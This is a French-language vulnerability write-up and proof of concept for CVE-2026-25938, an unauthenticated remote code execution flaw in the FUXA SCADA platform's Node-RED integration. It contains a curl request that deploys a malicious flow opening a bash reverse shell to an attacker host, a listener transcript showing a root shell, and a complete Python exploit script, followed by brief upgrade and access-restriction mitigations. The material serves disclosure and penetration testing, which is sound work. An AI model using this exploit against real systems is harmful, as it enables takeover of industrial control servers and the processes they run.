
Une explication et un PoC pour exploiter la vulnérabilité CVE-2026-25938 de RCE non authentifiée sur FUXA
FUXA est une plateforme SCADA (Supervisory Control and Data Acquisition) et IHM (Human-Machine Interface) gratuite, open-source et basée sur le web, utilisée pour l'automatisation industrielle, l'IoT et la visualisation de processus en temps réel. Elle permet aux utilisateurs de créer des tableaux de bord personnalisés et de surveiller les machines directement dans un navigateur web, sans nécessiter de logiciel propriétaire coûteux ni d'éditeurs de bureau lourds.
CVE-2026-25938 affecte les versions 1.2.8 à 1.2.10 de FUXA lorsque l'intégration Node-RED est activée (elle l'est par défaut). La vulnérabilité provient d'un contrôle d'authentification insuffisant sur les fonctionnalités qui exposent les capacités de Node-RED, permettant à un attaquant distant non authentifié d'accéder à des opérations qui devraient nécessiter une autorisation, comme la création de flux, dont l'un permet d'exécuter des commandes sur le système. Étant donné que Node-RED peut exécuter des flux avec les privilèges du processus FUXA, ce contournement d'authentification peut finalement conduire à une exécution de code à distance arbitraire sur le serveur sous-jacent. Le problème est corrigé dans FUXA 1.2.11 et versions ultérieures.
Nous allons exécuter un conteneur Docker utilisant une version vulnérable de FUXA, en l'occurrence la version 1.2.8 :
docker run -d -p 1881:1881 --name fuxa-1.2.8 frangoteam/fuxa:1.2.8
Le payload suivant déclenchera un shell inverse vers l'adresse IP spécifiée dans le nœud exec en abusant de la vulnérabilité :
tab créera un flux appelé "RCE".inject se déclenchera automatiquement lors du déploiement. Tout cela grâce à ces paramètres "once": true et "onceDelay": 0.1exec exécutera la commande que nous voulons exécuter, dans ce cas le shell inverse. Elle est spécifiée dans "command": "bash <snip>".curl -X POST http://<IP_ADDRESS>:1881/nodered/flows \
-H "Content-Type: application/json" \
-H "Node-RED-Deployment-Type: full" \
-H "Referer: http://192.168.1.201:1881/editor" \
-d '[
{
"id": "tab1",
"type": "tab",
"label": "RCE",
"disabled": false,
"info": ""
},
{
"id": "inject1",
"type": "inject",
"z": "tab1",
"name": "",
"props": [{"p": "payload"}],
"repeat": "",
"crontab": "",
"once": true,
"onceDelay": 0.1,
"topic": "",
"payload": "",
"payloadType": "date",
"x": 150,
"y": 100,
"wires": [["exec1"]]
},
{
"id": "exec1",
"type": "exec",
"z": "tab1",
"command": "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1",
"addpay": "",
"append": "",
"useSpawn": "false",
"timer": "",
"winHide": false,
"oldrc": false,
"name": "",
"x": 350,
"y": 100,
"wires": [["debug1"], [], []]
}
]'
Si nous créons un listener pour notre shell inverse, nous recevrons une connexion avec un shell root lors de l'envoi du payload :
┌──(kali㉿jbkira)-[~]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.36] from (UNKNOWN) [192.168.1.201] 59546
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@887eaf642fc4:/usr/src/app/FUXA/server#
#!/usr/bin/env python3
import argparse
import requests
import sys
import json
# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"
def exploit(target_url, listener_ip, listener_port):
# Extract host:port from URL for Referer
target_host = target_url.split("//")[1].split("/")[0]
# Build the full endpoint
if not target_url.endswith("/"):
target_url += "/"
endpoint = f"{target_url}nodered/flows"
# Payload for the exploit
payload = [
{
"id": "tab1",
"type": "tab",
"label": "RCE",
"disabled": False,
"info": ""
},
{
"id": "inject1",
"type": "inject",
"z": "tab1",
"name": "",
"props": [{"p": "payload"}],
"repeat": "",
"crontab": "",
"once": True,
"onceDelay": 0.1,
"topic": "",
"payload": "",
"payloadType": "date",
"x": 150,
"y": 100,
"wires": [["exec1"]]
},
{
"id": "exec1",
"type": "exec",
"z": "tab1",
"command": f"bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1",
"addpay": "",
"append": "",
"useSpawn": "false",
"timer": "",
"winHide": False,
"oldrc": False,
"name": "",
"x": 350,
"y": 100,
"wires": [["debug1"], [], []]
}
]
headers = {
"Content-Type": "application/json",
"Referer": f"http://{target_host}/editor"
}
try:
response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
if response.status_code == 200 or response.status_code == 204:
print(f"{GREEN}[+] Exploit successful! Check your listener for a reverse shell. ;){RESET}")
else:
print(f"{RED}[-] Exploit failed. Status Code: {response.status_code}{RESET}")
except requests.exceptions.RequestException as e:
print(f"{RED}[-] Error occurred: {e}{RESET}")
def argparse_setup():
parser = argparse.ArgumentParser(description="Exploit for FUXA Unauthenticated RCE (CVE-2026-25938) created by JBKira")
parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:1881/)", required=True)
parser.add_argument("-l", "--listener-ip", help="Your listener IP for reverse shell", required=True)
parser.add_argument("-lp", "--listener-port", type=int, default=443, help="Port for reverse shell (default: 443)")
return parser.parse_args()
def banner():
print(f"{YELLOW}")
print(r"""
_____ _ _ _____ _____ _____ _____ ____ _____ _____ _____ _____ _____
/ __ \ | | | ___| / __ \| _ |/ __ \ / ___| / __ \| ___|| _ ||____ | _ |
| / \/ | | | |__ ______`' / /'| |/' |`' / /'/ /___ ______`' / /'|___ \ | |_| | / /\ V /
| | | | | | __|______| / / | /| | / / | ___ \______| / / \ \\____ | \ \/ _ \
| \__/\ \_/ / |___ ./ /___\ |_/ /./ /___| \_/ | ./ /___/\__/ /.___/ /.___/ / |_| |
\____/\___/\____/ \_____/ \___/ \_____/\_____/ \_____/\____/ \____/ \____/\_____/
""")
print(f"CVE-2026-25938 Exploit for FUXA NODE-RED Unauthenticated RCE created by JBKira{RESET}")
print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")
def main():
args = argparse_setup()
banner()
exploit(args.url, args.listener_ip, args.listener_port)
if __name__ == "__main__":
main()
Mettez à jour si possible vers une version égale ou supérieure à 1.2.11. La vulnérabilité est corrigée dans la version 1.2.11.
Si la mise à jour n'est pas possible, vous pouvez faire ce qui suit :
Si vous utilisez Apache comme point d'entrée de l'application. Cela ne fonctionnera pas si Apache ne peut pas voir l'IP du client en raison du NAT, du proxy Docker, etc.
<LocationMatch "^/nodered/">
Require ip 127.0.0.1
Require ip ::1
Require ip <TRUSTED_MGMT_CIDR>
</LocationMatch>
Si vous utilisez NGINX comme point d'entrée de l'application. Cela ne fonctionnera pas si NGINX ne peut pas voir l'IP du client en raison du NAT, du proxy Docker, etc.
location /nodered/ {
allow 127.0.0.1;
allow ::1;
allow <TRUSTED_MGMT_CIDR>;
deny all;
}